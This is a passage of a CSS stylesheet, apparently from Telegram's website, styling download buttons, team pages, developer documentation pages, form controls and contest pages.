max-width: 798px;
text-align: center;
}
.tl_main_download_btn {
display: inline-block;
color: #FFF;
font-size: 16px;
background: #a19481;
border-radius: 4px;
padding: 10px 15px;
line-height: 35px;
overflow: hidden;
width: 220px;
margin: 5px 8px;
text-align: center;
}
.tl_main_download_btn:hover {
background-color: #a99d8b;
color: #FFF;
text-decoration: none;
}
.tl_main_download_btn:active {
background-color: #998e7e;
}
.tl_main_download_mobile {
text-align: center;
max-width: 1028px;
margin: 20px auto 20px;
margin: 0 auto;
}
.tl_main_download_link {
text-align: center;
display: inline-block;
height: 290px;
padding-top: 250px;
padding-bottom: 20px;
margin: 40px 0;
font-size: 15px;
max-width: 100%;
-webkit-transition: box-shadow .2s ease-in-out;
-moz-transition: box-shadow .2s ease-in-out;
-ms-transition: box-shadow .2s ease-in-out;
}
.tl_main_download_link:hover {
text-decoration: none;
box-shadow: 0px 3px 0px 0px #179cde;
}
.tl_main_download_more_btn {
margin-bottom: 0;
font-weight: normal;
text-align: center;
vertical-align: middle;
cursor: pointer;
background-image: none;
border: 0;
white-space: nowrap;
padding: 10px 16px;
font-size: 15px;
line-height: 1.33;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
color: #ffffff;
background-color: #318fd3;
margin-top: 5px;
display: none;
border-radius: 3px;
}
.tl_main_download_more_btn:hover {
color: #FFF;
}
.tl_main_download_desktop_header {
text-align: center;
}
.tl_main_download_desktop_wrap1 {
height: 291px;
overflow: hidden;
}
.tl_main_download_desktop_wrap {
position: absolute;
left: 0;
right: 0;
}
.tl_main_download_desktop_links {
width: 595px;
margin: 0 auto;
}
.tl_main_download_desktop_link {
text-align: center;
display: inline-block;
padding: 270px 0 20px;
font-size: 15px;
vertical-align: top;
-webkit-transition: box-shadow .2s ease-in-out;
-moz-transition: box-shadow .2s ease-in-out;
-ms-transition: box-shadow .2s ease-in-out;
}
.tl_main_download_desktop_link:hover {
text-decoration: none;
box-shadow: 0px 3px 0px 0px #179cde;
}
.tl_main_download_link_td {
width: 52%;
padding-left: 20px;
padding-right: 20px;
}
.tl_main_download_link_osx {
width: 48%;
}
.tl_main_body {
margin-top: 40px;
padding-top: 5px;
}
.tl_main_body_header {
text-align: center;
margin-top: 0;
padding-top: 20px;
}
.icon-ios {
background-position: 0 0px;
height: 26px;
margin-top: -5px;
}
.icon-android {
background-position: 0 -46px;
height: 23px;
margin-top: -3px;
}
.icon-wp {
background-position: 0 -90px;
height: 20px;
margin-top: -1px;
}
.icon {
display: inline-block;
}
a:hover .icon-twitter {
opacity: 0.99;
}
.tl_main_cards {
max-width: 950px;
margin: 18px auto 0;
padding: 0;
}
.tl_main_card_cell,
.tl_main_card_cell_last {
position: relative;
min-height: 1px;
padding-left: 15px;
padding-right: 15px;
}
@media (min-width: 768px) {
.tl_main_card_cell,
.tl_main_card_cell_last {
width: 50%;
float: left;
}
.tl_main_card_cell_last {
width: 100%;
}
}
@media (min-width: 992px) {
.tl_main_card_cell,
.tl_main_card_cell_last {
width: 33.33333%;
}
}
.tl_main_card_wrap {
max-width: 260px;
margin: 0 auto;
padding: 20px 0 9px;
}
h3.tl_main_card_header {
color: #a19679;
text-align: center;
margin: 15px 0 6px;
font-size: 26px;
font-weight: normal;
letter-spacing: -1px;
}
.tl_main_card_lead {
font-size: 15px;
line-height: 158%;
text-align: center;
}
.tl_main_share {
margin: 24px auto 40px;
/*padding-bottom: 30px;*/
max-width: 330px;
text-align: center;
}
.tl_main_noshare {
height: 50px;
}
.tl_main_twitter_widget_wrap {
/*float: left;*/
display: inline-block;
}
.tl_main_facebook_widget_wrap {
/*float: left;*/
margin-right: 20px;
display: inline-block;
}
.fb_iframe_widget span {
vertical-align: baseline !important;
}
.tl_blog_comments_widget {
margin: 0 -8px 40px;
}
.tl_blog_comments_widget iframe {
max-width: 100%;
}
.tl_main_gplus_widget_wrap {
/*float: left;*/
display: inline-block;
}
.tl_twitter_share_btn {
display: inline-block;
border-radius: 16px;
background-color: #54a9eb;
cursor: pointer;
margin-right: 15px;
padding: 7px 17px;
color:#FFF;
font-weight: bold;
}
.tl_twitter_share_btn:hover,
.tl_twitter_share_btn:active,
.tl_twitter_share_btn:focus {
text-decoration: none;
color: #FFF;
outline: none;
}
.tl_twitter_share_cnt {
display: none;
color: #c4e3fb;
}
.footer_wrap {
border-top: 1px solid #e8e8e8;
max-width: 925px;
margin: 10px auto 0;
padding: 28px 0 34px;
}
.footer_mobile {
display: none;
}
.footer_columns_wrap {
padding-left: 0;
padding: 0 0 0 63px;
margin: 0;
}
.footer_column {
float: left;
padding-right: 78px;
}
.footer_column_telegram {
width: 290px;
padding-right: 50px;
}
.footer_column:last-child {
padding-right: 0;
}
.footer_column:first-child {
padding-left: 0;
}
.footer_column h5 {
font-size: 14px;
margin-top: 0;
margin-bottom: 9px;
}
.footer_column h5 a {
color: inherit;
}
.footer_column ul,
.footer_column ul li {
list-style: none;
margin: 0;
padding: 0;
}
.footer_column ul li {
font-size: 14px;
line-height: 23px;
}
.footer_privacy_description {
padding-top: 3px;
font-size: 13px;
line-height: 160%;
}
.footer_privacy_description p {
margin-bottom: 6px;
}
.footer_telegram_description {
font-size: 13px;
}
.tl_mission_wrap #dev_page_content,
.tl_mission_wrap #dev_page_content p {
font-family: "HelveticaNeue-Light", "Helvetica Neue Light", "Helvetica Light", Helvetica, Arial , Verdana, sans-serif;
font-weight: 300;
line-height: 160%;
font-size: 16px;
}
/* Team */
#dev_page_content.tl_team_wrap,
#dev_page_content.tl_team_wrap p {
line-height: 1.6;
}
.tl_team_lead {
margin-bottom: 30px;
}
.tl_team_member {
min-height: 120px;
position: relative;
margin-bottom: 30px;
}
.tl_team_member_photo_wrap {
position: absolute;
// float: left;
// margin-right: 25px;
}
.tl_team_member_pavel .tl_team_member_photo {
background-position: 0 0;
}
.tl_team_member_nikolay .tl_team_member_photo {
background-position: 0 -130px;
}
.tl_team_member_aliaksei .tl_team_member_photo {
background-position: 0 -260px;
}
.tl_team_member_vitalik .tl_team_member_photo {
background-position: 0 -390px;
}
.tl_team_member_arseny .tl_team_member_photo {
background-position: 0 -520px;
}
.tl_team_member_igor .tl_team_member_photo {
background-position: 0 -650px;
}
.tl_team_member_drklo .tl_team_member_photo {
background-position: 0 -780px;
}
.tl_team_member_peter .tl_team_member_photo {
background-position: 0 -910px;
}
.tl_team_member_john .tl_team_member_photo {
background-position: 0 -1040px;
}
.tl_team_member_kolar .tl_team_member_photo {
background-position: 0 -1170px;
}
.tl_team_member_ilya .tl_team_member_photo {
background-position: 0 -1300px;
}
.tl_team_member_igor1 .tl_team_member_photo {
background-position: 0 -1690px;
}
.tl_team_member_mike .tl_team_member_photo {
background-position: 0 -1560px;
}
.tl_team_member_grisha .tl_team_member_photo {
background-position: 0 -1430px;
}
.tl_team_member_name {
margin-left: 146px;
}
.tl_team_member_body {
margin-left: 146px;
}
.tl_team_member_name {
margin-top: 5px;
font-size: 17px;
}
.tl_team_member_awards {
margin-top: 20px;
margin-bottom: 18px;
color: #0088cc;
font-size: 15px;
}
.tl_team_member_experience,
.tl_team_member_awards_list {
line-height: 1.8;
}
.tl_team_member_description {
margin-top: 20px;
}
/* Core / dev */
.dev_page {
background: #FFF;
min-height: 500px;
}
#dev_page_content_wrap {
padding: 20px 0;
max-width: 800px;
margin: 0 auto;
}
#dev_page_content,
#dev_page_content p {
font-size: 14px;
line-height: 1.5;
}
#dev_page_content img.emoji {
vertical-align: top;
-webkit-user-drag: none;
user-drag: none;
cursor: text;
}
.dev_page_bread_crumbs .breadcrumb {
margin-bottom: 10px;
border-radius: 0;
}
#dev_page_title {
position: static;
}
.dev_page_head {
margin-bottom: 0;
}
.dev_page_head .dev_page_head_logo {
margin-left: 0;
}
#dev_page_content_wrap blockquote {
padding: 5px 17px;
}
#dev_page_content_wrap pre {
overflow-x: auto;
border-radius: 0;
}
#dev_page_content_wrap pre::-webkit-scrollbar {
visibility: visible;
display: block;
height: 15px;
}
#dev_page_content_wrap pre::-webkit-scrollbar-track:horizontal {
background: rgba(93, 144, 177, 0.2);
border-radius: 0;
height: 15px;
}
#dev_page_content_wrap pre::-webkit-scrollbar-thumb:horizontal {
background: rgba(93, 144, 177, 0.4);
border-radius: 0;
height: 15px;
}
#dev_page_content_wrap .richcode {
display: block;
padding: 9.5px;
margin: 0 0 10px;
font-size: 13px;
line-height: 20px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
color: #546172;
background: #ecf3f8;
font-family: Monaco,Menlo,Consolas,"Courier New",monospace;
}
#dev_page_content_wrap .richcode code {
background: #FFF;
}
.richcode p:last-child {
margin-bottom: 0;
}
#dev_page_content_wrap pre code {
overflow-wrap: normal;
white-space: pre;
}
#dev_page_content_wrap a.current_page_link {
color: #468847;
text-decoration: underline;
}
#dev_page_content_wrap a.nonexisting_page_link {
color: #FF0000;
text-decoration: underline;
}
.dev_side_image {
max-width: 200px;
float: right;
padding: 0 0 0 20px;
}
.dev_side_image img {
max-width: 180px;
}
#dev_page_content_wrap pre.page_scheme {
margin: 20px 0 30px;
}
.dev_page_edit_form {
border-top: 1px solid #DDD;
padding-top: 50px;
max-width: 800px;
margin: 30px auto 0;
}
.dev_page_edit_form .CodeMirror {
font-size: 14px;
line-height: 20px;
font-family: Monaco, Menlo, Consolas, "Courier New", monospace;
border: 1px solid #eee;
height: auto;
position: relative;
margin-bottom: 9px;
color: #555555;
border: 1px solid #ccc;
-webkit-border-radius: 3px;
-moz-border-radius: 3px;
border-radius: 3px;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);
-webkit-transition: border linear 0.2s, box-shadow linear 0.2s;
-moz-transition: border linear 0.2s, box-shadow linear 0.2s;
-ms-transition: border linear 0.2s, box-shadow linear 0.2s;
-o-transition: border linear 0.2s, box-shadow linear 0.2s;
transition: border linear 0.2s, box-shadow linear 0.2s;
}
.dev_page_edit_form .CodeMirror-focused {
border-color: rgba(82, 168, 236, 0.8);
outline: 0;
outline: thin dotted \9;
-webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
-moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 8px rgba(82, 168, 236, 0.6);
}
.dev_page_edit_form .CodeMirror-scroll {
overflow-y: hidden;
overflow-x: auto;
}
.dev_page_edit_form .CodeMirror pre {
white-space: pre-wrap;
word-break: break-all;
word-wrap: break-word;
}
.dev_page_edit_form #dev_page_diff .CodeMirror {
font-size: 12px;
margin-bottom: 0;
}
#dev_page_diff .CodeMirror-merge,
#dev_page_diff .CodeMirror-merge .CodeMirror {
height: auto;
}
#dev_page_diff .CodeMirror-merge-2pane {
display: flex;
border: 0;
margin-bottom: 9px;
}
#dev_page_diff .CodeMirror-merge-2pane .CodeMirror-merge-pane {
width: 48%;
}
#dev_page_diff .CodeMirror-merge-2pane .CodeMirror-merge-gap {
height: auto;
width: 4%;
}
#dev_page_diff .CodeMirror-merge-pane-rightmost {
position: static;
right: auto;
}
#dev_page_diff .CodeMirror-merge-scrolllock-wrap {
display: none;
}
#dev_page_diff .CodeMirror-merge-left .CodeMirror {
background: rgba(0,0,0,0.06);
}
#dev_page_diff .CodeMirror-merge-l-inserted,
#dev_page_diff .CodeMirror-merge-l-deleted {
background: none;
}
#dev_page_diff.dev_page_diff__wcolor .CodeMirror-merge-l-inserted {
/*background: rgba(0,200,0,0.18);*/
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12MwuCXy3+CWyH8GBgYGJgYkAABZbAQ9ELXurwAAAABJRU5ErkJggg==);
background-position: bottom left;
background-repeat: repeat-x;
background-color: #dfd;
/*border: 1px solid #4e4;*/
}
#dev_page_diff.dev_page_diff__wcolor .CodeMirror-merge-l-deleted {
/*background: rgba(200,0,0,0.18);*/
background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAMAAAACCAYAAACddGYaAAAAGUlEQVQI12M4Kyb2/6yY2H8GBgYGJgYkAABURgPz6Ks7wQAAAABJRU5ErkJggg==);
background-position: bottom left;
background-repeat: repeat-x;
background-color: #fdd;
/*border: 1px solid #e44;*/
}
.table-msg-schema td {
text-align: center;
}
.table-msg-schema>thead>tr>th,
.table-msg-schema>tbody>tr>th,
.table-msg-schema>tfoot>tr>th,
.table-msg-schema>thead>tr>td,
.table-msg-schema>tbody>tr>td,
.table-msg-schema>tfoot>tr>td {
border: 1px solid #d5d5d5;
}
#dev_upload_btn {
cursor: pointer;
overflow: hidden;
position: relative;
}
.dev_upload_input {
cursor: pointer;
font-size: 72px !important;
opacity: 0.01;
position: absolute;
z-index: 100;
margin: 0;
padding: 0;
top: 0;
right: 0;
}
.app_edit_page {
width: 700px;
margin: 40px auto;
}
.app_lock_tt {
padding: 3px;
display: inline-block;
}
.app_lock_text {
font-size: 13px;
}
.tg-table-stats {
font-size: 12px;
}
.tg-table-stats th a.active {
color: inherit;
}
.dev_side_nav_wrap {
position: relative;
}
.dev_side_nav {
position: absolute;
width: 200px;
right: -200px;
}
/*.is_rtl .dev_side_nav {
left: -200px;
right: auto;
}*/
.is_rtl .dev_side_nav .nav {
padding-right: 0;
padding-left: 0;
padding-right: 0;
}
.dev_side_nav > ul {
width: 200px;
background: none;
padding: 10px 0 10px;
}
.dev_side_nav > ul::-webkit-scrollbar {
display: none;
}
.dev_side_nav > ul.affix-top {
position: relative;
}
.dev_side_nav > ul.affix {
position: fixed;
top: 0;
max-height: 100%;
overflow-y: scroll;
}
.dev_side_nav > ul.affix-bottom {
position: relative;
height: auto;
overflow-y: scroll;
}
.dev_side_nav li {
float: none !important;
}
.dev_side_nav li a {
border-left: 2px solid transparent;
padding: 10px 10px;
background: none !important;
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.is_rtl .dev_side_nav li a {
border-right: 2px solid transparent;
border-left: 0;
}
.dev_side_nav li a {
display: block;
font-size: 13px;
font-weight: 500;
padding: 4px 20px 4px 18px;
font-weight: 700;
background-color: transparent;
}
.is_rtl .dev_side_nav li a {
padding: 4px 18px 4px 20px;
}
.dev_side_nav li li a {
padding-left: 15px;
padding: 1px 18px 1px 30px;
font-size: 12px;
font-weight: 400;
}
.is_rtl .dev_side_nav li li a {
padding: 1px 30px 1px 18px;
}
.dev_side_nav li a:hover {
border-color: rgba(23, 156, 222, 0.6);
}
.dev_side_nav li.active > a {
border-color: #179cde;
}
.dev_side_nav li ul {
display: none;
}
.dev_side_nav li.active ul {
display: block;
}
/* Core / dev end*/
/* Support */
.support_wrap {
max-width: 800px;
background: #FFF;
margin: 0 auto;
padding: 20px 0;
}
.support_submit {
}
/* FAQ */
.twitter_timeline_wrap {
width: 300px;
padding-top: 14px;
}
.dev_lang_select {
padding: 2px 0 0;
margin: 24px 0 0;
width: 130px;
}
.dev_layer_select .dropdown-menu,
.dev_lang_select .dropdown-menu {
right: 0;
left: auto;
}
.dev_lang_select .dropdown {
float: none;
}
.dev_lang_select .dropdown-toggle {
display: block;
text-align: center;
font-size: 14px;
}
.dev_lang_select .dropdown-menu {
width: 130px;
min-width: 130px;
}
.dev_lang_select .dropdown-menu li a {
font-size: 13px;
/*padding: 7px;*/
}
.is_rtl .dev_layer_select .dropdown-menu,
.is_rtl .dev_lang_select .dropdown-menu {
right: auto;
left: 0;
}
.is_rtl {
direction: rtl;
}
.is_rtl blockquote {
padding: 0 15px 0 0;
margin: 0 0 20px;
border-left: 0;
border-right: 5px solid #eeeeee;
}
.is_rtl .pull-right,
.is_rtl .slightly-pull-right {
float: left;
}
.is_rtl .pull-left,
.is_rtl .slightly-pull-left {
float: right;
}
.is_rtl .anchor {
left: auto;
right: 0;
}
#login_widget_config {
margin: 40px auto;
}
.form-group .dropdown + .dropdown {
margin-left: 15px;
}
.dropdown-label {
margin-right: 7px;
display: inline-block;
max-width: 300px;
white-space: nowrap;
text-overflow: ellipsis;
overflow: hidden;
vertical-align: top;
}
.dropdown-label .muted {
color: #999;
}
.textfield-item input.form-control,
.form-control-dropdown-select,
.form-control-static-item,
.textfield-item-placeholder {
font-size: 14px;
line-height: 20px;
font-weight: normal;
}
.textfield-item input.form-control,
.form-control-dropdown-select {
padding: 11px 0 10px;
border: none;
height: auto;
resize: none;
color: inherit;
background: transparent;
border-bottom: 1px solid #e0e0e0;
box-shadow: none;
}
.textfield-item input.form-control:focus {
box-shadow: none;
}
.form-control-static-item {
padding: 11px 0;
}
.textfield-item {
display: block;
position: relative;
}
.textfield-item-underline {
display: block;
position: absolute;
bottom: 0;
left: 50%;
right: 50%;
height: 2px;
background: #39ade7;
transition: opacity .2s ease-out, left 0s .2s linear, right 0s .2s linear;
opacity: 0;
}
.textfield-item input.form-control:focus ~ .textfield-item-underline {
transition: left .2s ease-out, right .2s ease-out;
left: 0;
right: 0;
opacity: 1;
}
.textfield-item-placeholder {
bottom: 0;
color: #ccc;
color: rgba(0,0,0,.26);
left: 0;
right: 0;
pointer-events: none;
position: absolute;
display: block;
top: 11px;
width: 100%;
overflow: hidden;
white-space: nowrap;
text-align: left
}
.textfield-item input.form-control::-webkit-input-placeholder {
color: #999;
color: rgba(0,0,0,.42);
}
.textfield-item input.form-control::-moz-placeholder {
color: #999;
color: rgba(0,0,0,.42);
}
.textfield-item input.form-control:-ms-input-placeholder {
color: #999;
color: rgba(0,0,0,.42);
}
.textfield-item input.form-control:focus::-webkit-input-placeholder {
color: #ccc;
color: rgba(0,0,0,.26);
}
.textfield-item input.form-control:focus::-moz-placeholder {
color: #ccc;
color: rgba(0,0,0,.26);
}
.textfield-item input.form-control:focus:-ms-input-placeholder {
color: #ccc;
color: rgba(0,0,0,.26);
}
.textfield-item-error {
color: #d45a58;
position: absolute;
font-size: 14px;
line-height: 19px;
min-height: 19px;
margin: 5px 0 -19px;
background: #fff;
width: 100%;
padding-bottom: 7px;
visibility: hidden;
display: block;
}
.textfield-item.is-invalid .textfield-item-error {
visibility: visible
}
.textfield-item.is-invalid input.form-control {
border-bottom: 1px solid #d50000;
}
.textfield-item.is-invalid .textfield-item-underline {
background: #d50000;
}
.control-label-item,
.form-telegram .control-label {
text-align: right;
margin-bottom: 0;
line-height: 20px;
padding-top: 11px;
}
.form-telegram .help-block {
font-size: 13px;
color: #808080;
margin-top: 10px;
margin-bottom: 5px;
}
.form-telegram .form-group {
margin-bottom: 20px;
}
.form-telegram textarea.form-control {
margin-top: 7px;
}
.form-telegram .form-control[readonly] {
cursor: text;
background: #fff;
}
.form-telegram .form-control[readonly]:focus {
border: 1px solid #ccc;
box-shadow: none;
}
.form-control-dropdown {
position: relative;
}
.form-control-dropdown .form-control-dropdown-search {
position: absolute;
top: 0;
left: 0;
right: 0;
visibility: hidden;
opacity: 0;
}
.form-control-dropdown.open .form-control-dropdown-search {
visibility: visible;
opacity: 1;
}
.form-control-dropdown.open .form-control-dropdown-select {
visibility: hidden;
opacity: 0;
}
.form-control-dropdown-select {
color: #ccc;
color: rgba(0,0,0,.26);
cursor: pointer;
position: relative;
white-space: nowrap;
text-overflow: ellipsis;
overflow: hidden;
}
.form-control-dropdown-select:focus {
outline: none;
}
.form-control-dropdown-select.is-dirty {
color: inherit;
}
.form-control-dropdown-button {
position: absolute;
display: inline-block;
transition: all .2s ease;
border: none;
padding: 0;
background: none !important;
visibility: hidden;
opacity: 0;
top: 0;
right: 0;
}
.form-control-dropdown-button:active {
box-shadow: none !important;
}
.form-control-dropdown-list {
position: absolute;
left: -15px;
right: -15px;
margin: -2px 0;
background: #fff;
text-align: left;
padding: 7px 0;
box-shadow: 0 0 2px 1px rgba(0, 0, 0, .15);
border: none;
transition: all .2s ease;
visibility: hidden;
opacity: 0;
max-height: 220px;
overflow: auto;
overflow-x: hidden;
-webkit-overflow-scrolling: touch;
z-index: 10;
}
.form-control-dropdown.has-items .form-control-dropdown-button,
.form-control-dropdown.has-items.open .form-control-dropdown-list {
visibility: visible;
opacity: 1;
}
.form-control-dropdown-list-item,
.form-control-dropdown-list-no-results {
font-size: 14px;
line-height: 18px;
padding: 8px 15px;
cursor: pointer;
}
.form-control-static-item .small,
.form-control-dropdown-select .small,
.form-control-dropdown-list-item .small {
font-size: 13px;
line-height: 16px;
color: #a8a8a8;
padding-left: 8px;
}
.form-control-dropdown-search .form-control-dropdown-list-item:hover {
background: none;
}
.form-control-dropdown-search .form-control-dropdown-list-item.selected,
.form-control-dropdown-list-item:hover {
background: #f2f2f2;
}
.form-control-dropdown-list-no-results {
color: #a8a8a8;
cursor: auto;
}
.form-control-dropdown-select,
.form-control-dropdown input.form-control {
padding-right: 33px;
}
.help-block-item {
display: block;
font-size: 14px;
line-height: 18px;
margin-top: 5px;
margin-bottom: 0;
color: #a8a8a8;
}
.help-block-item a {
color: #76bfeb;
}
.radio-item,
.checkbox-item {
display: inline-block;
vertical-align: top;
margin-bottom: 0;
font-size: 14px;
line-height: 20px;
font-weight: normal;
}
.radio-item-block,
.checkbox-item-block {
display: block;
margin: 6px 0 1px;
padding: 5px 0;
line-height: 20px;
}
.radio-item-block + .radio-item-block,
.checkbox-item-block + .checkbox-item-block {
margin-top: 1px;
}
.radio-item input.radio,
.checkbox-item input.checkbox {
position: absolute;
left: -5000px;
}
.radio-item input.radio ~ .radio-label,
.checkbox-item input.checkbox ~ .checkbox-label {
display: inline-block;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
-o-user-select: none;
user-select: none;
max-width: calc(100% - 31px);
}
.radio-item .radio-input,
.checkbox-item .checkbox-input {
display: inline-block;
vertical-align: top;
position: relative;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
-o-user-select: none;
user-select: none;
transition: opacity 0.12s linear;
}
.radio-item .radio-input + .radio-label,
.checkbox-item .checkbox-input + .checkbox-label {
margin-left: 11px;
}
.radio-item .radio-input-icon,
.checkbox-item .checkbox-input-icon {
display: inline-block;
content: '';
width: 20px;
height: 20px;
border: 2px solid #b3b3b3;
background: #fff;
border-radius: 10px;
vertical-align: top;
padding: 0;
cursor: pointer;
position: relative;
}
.radio-item .radio-input-icon:before,
.checkbox-item .checkbox-input-icon:before {
display: inline-block;
content: '';
position: absolute;
width: 20px;
height: 20px;
border: 2px solid #54a9eb;
border-radius: 10px;
top: -2px;
left: -2px;
transition: opacity 0.12s linear;
opacity: 0;
}
.radio-item .radio-input-icon:after {
display: inline-block;
content: '';
position: absolute;
width: 10px;
height: 10px;
background: #54a9eb;
border-radius: 5px;
top: 3px;
left: 3px;
transition: transform 0.12s linear;
transform: scale3d(0, 0, 1);
}
.radio-item input.radio:checked + .radio-input .radio-input-icon:before,
.checkbox-item input.checkbox:checked + .checkbox-input .checkbox-input-icon:before {
opacity: 1;
}
.radio-item input.radio:checked + .radio-input .radio-input-icon:after {
transform: scale3d(1, 1, 1);
}
.checkbox-item .checkbox-input-icon,
.checkbox-item .checkbox-input-icon:before {
width: 18px;
height: 18px;
margin: 1px;
border-radius: 3px;
}
.checkbox-item .checkbox-input-icon:before {
margin: 0;
background: #54a9eb url('data:image/svg+xml,%3Csvg height="20" viewBox="0 0 20 20" width="20" xmlns="http://www.w3.org/2000/svg"%3E%3Cg fill="%23fff" fill-rule="evenodd"%3E%3Crect height="6" rx="1" transform="matrix(.70710678 -.70710678 .70710678 .70710678 -6.746804 8.368629)" width="2" x="5.728427" y="9.328427"/%3E%3Crect height="11.5" rx="1" transform="matrix(.70710678 .70710678 -.70710678 .70710678 10.712311 -5.169417)" width="2" x="10.596194" y="4.596194"/%3E%3C/g%3E%3C/svg%3E') no-repeat center;
}
.radio-item input.radio:disabled + .radio-input,
.checkbox-item input.checkbox:disabled + .checkbox-input {
cursor: default;
pointer-events: none;
opacity: .65;
}
.button-item {
font-size: 14px;
font-weight: 500;
line-height: 100%;
color: #fff;
background: #4ca3e2;
border-radius: 19px;
display: inline-block;
padding: 12px 26px 12px;
text-transform: uppercase;
text-align: center;
vertical-align: middle;
border: none;
transition: background-color .2s ease;
white-space: nowrap;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
.button-item-flat {
color: #1385d8;
background: transparent;
}
.button-item:hover {
background: #4199d9;
}
.button-item-flat:hover {
background: #e7f4fd;
}
.button-item-label {
display: inline-block;
max-width: 100%;
overflow: hidden;
text-overflow: ellipsis;
vertical-align: top;
position: relative;
z-index: 1;
}
.button-item.ripple-handler,
.button-nostyle-item.ripple-handler {
position: relative;
}
.ripple-mask {
position: absolute;
left: 0; right: 0;
top: 0; bottom: 0;
transform: translateZ(0);
overflow: hidden;
pointer-events: none;
}
.radio-item .ripple-mask,
.checkbox-item .ripple-mask {
width: 32px;
height: 32px;
left: -6px;
top: -6px;
border-radius: 16px;
}
.button-nostyle-item .ripple-mask,
.button-item .ripple-mask {
border-radius: 19px;
}
.radio-item .ripple,
.checkbox-item .ripple {
position: absolute;
width: 80px;
height: 80px;
left: -24px;
top: -24px;
border-radius: 50%;
background-color: rgba(179, 179, 179, .2);
transition: transform .65s ease-out, opacity .65s ease-out, background-color .65s ease-out;
opacity: 0;
}
.radio-item input.radio:checked + .radio-input .ripple,
.checkbox-item input.checkbox:checked + .checkbox-input .ripple {
background-color: rgba(84, 169, 235, .2);
}
.button-nostyle-item .ripple,
.button-item .ripple {
position: absolute;
width: 200%;
left: 50%; top: 50%;
margin: -100% 0 0 -100%;
padding-top: 200%;
border-radius: 50%;
background-color: #3790cf;
transition: transform .65s ease-out, opacity .65s ease-out, background-color .65s ease-out;
opacity: 0;
}
.button-nostyle-item .ripple,
.button-item-flat .ripple {
background-color: #d9ebf7;
}
.radio-item input.radio + .radio-label:before {
background-position: 0 0;
}
.radio-item input.radio:checked + .radio-label:before {
background-position: 0 -30px;
}
.checkbox-item input.checkbox + .checkbox-label:before {
background-position: 0 -60px;
}
.checkbox-item input.checkbox:checked + .checkbox-label:before {
background-position: 0 -88px;
}
.radio-item-justified .radio-input {
float: left;
}
.radio-item-justified .radio-label {
float: left;
margin-right: 16px;
}
.radio-item-justified .radio-label:after {
content: ':';
opacity: 0;
transition: opacity .2s ease;
}
.radio-item-justified .justified-wrap {
display: block;
padding: 5px 0;
margin: -5px 0;
overflow: hidden;
opacity: 0;
transition: opacity .2s ease;
}
.radio-item-justified .justified-wrap input.form-control {
cursor: inherit;
}
.radio-item-justified input.radio:checked ~ .justified-wrap,
.radio-item-justified input.radio:checked ~ .radio-label:after {
opacity: 1;
}
.radio-item-justified input.radio:checked ~ .justified-wrap input.form-control {
cursor: auto;
}
.radio-item-justified .textfield-item {
margin: -5px 0;
}
.radio-item-justified input.form-control {
padding: 5px 0 4px;
}
.bgcolor0 { background: #e17076; }
.bgcolor1 { background: #faa774; }
.bgcolor2 { background: #a695e7; }
.bgcolor3 { background: #7bc862; }
.bgcolor4 { background: #6ec9cb; }
.bgcolor5 { background: #65aadd; }
.bgcolor6 { background: #ee7aae; }
.dots-animated:after {
display: inline-block;
animation: dotty steps(1, end) 1s infinite;
content: '...';
position: absolute;
}
@-webkit-keyframes dotty {
0%, 100% { content: ''; }
25% { content: '.'; }
50% { content: '..'; }
75% { content: '...'; }
}
@keyframes dotty {
0%, 100% { content: ''; }
25% { content: '.'; }
50% { content: '..'; }
75% { content: '...'; }
}
.widget_container {
margin-top: 7px;
}
.widget_container iframe {
vertical-align: top;
}
button.dropdown-toggle:focus,
button.dropdown-toggle:active:focus {
outline: none;
}
.embed_code {
font-family: Menlo, Monaco, Consolas, "Courier New", monospace;
white-space: pre-wrap;
word-break: break-all;
word-wrap: break-word;
text-align: left;
-webkit-appearance: none;
}
.dev_page_nav_wrap > p > a:first-child {
color: #333;
}
#dev_page_content .dev_page_nav_wrap ul {
list-style-type: none;
margin: 0;
padding: 0 0 20px;
}
#dev_page_content .dev_page_nav_wrap ul + h4 {
margin-top: 4px;
}
#dev_page_content .dev_page_nav_wrap ul li {
background: none;
padding-left: 0;
padding-top: 1px;
padding-bottom: 2px;
}
.dev_page_image {
display: block;
max-width: 800px;
margin: 0 auto;
padding: 10px 0px 5px;
}
.tl_contest_page_wrap .dev_page_image {
max-width: 600px;
}
.dev_page_widget_item {
display: block;
width: 300px;
vertical-align: top;
max-width: 100%;
margin: 30px auto 10px;
}
.dev_page_widget_thumb {
display: inline-block;
vertical-align: top;
width: 100%;
padding-top: 66.6667%;
border-radius: 7px;
background: #f7f7f7 no-repeat center;
background-size: 100%;
-webkit-filter: brightness(100%);
-webkit-transition: all .2s ease;
-moz-transition: all .2s ease;
-o-transition: all .2s ease;
-ms-transition: all .2s ease;
transition: all .2s ease;
}
.dev_page_widget_thumb:hover {
-webkit-filter: brightness(94%);
}
.dev_page_widget_title {
font-size: 15px;
line-height: 1.5;
margin: 12px 0 0;
font-weight: bold;
text-align: center;
}
@media (min-width: 670px) {
.dev_page_widgets_list {
margin-right: -36px;
}
.dev_page_widget_item {
float: left;
margin-left: 0;
margin-right: 36px;
}
.dev_page_widget_title {
margin-top: 17px;
}
}
/* Contest */
.tl_contest_page_wrap {
padding: 0 0 20px;
max-width: 600px;
margin: 0 auto;
}
.tl_contest_intro {
margin: 0;
}
.tl_contest_side_image_wrap {
position: relative;
}
.tl_contest_side_image {
margin: 50px 0 0 -180px;
width: 160px;
height: 160px;
position: absolute;
}
.tl_contest_side_image2 {
margin-top: 0px;
}
.tl_contest_side_image3 {
margin-top: 10px;
}
.tl_contest_page_wrap .tl_main_share {
margin: 0 0 20px;
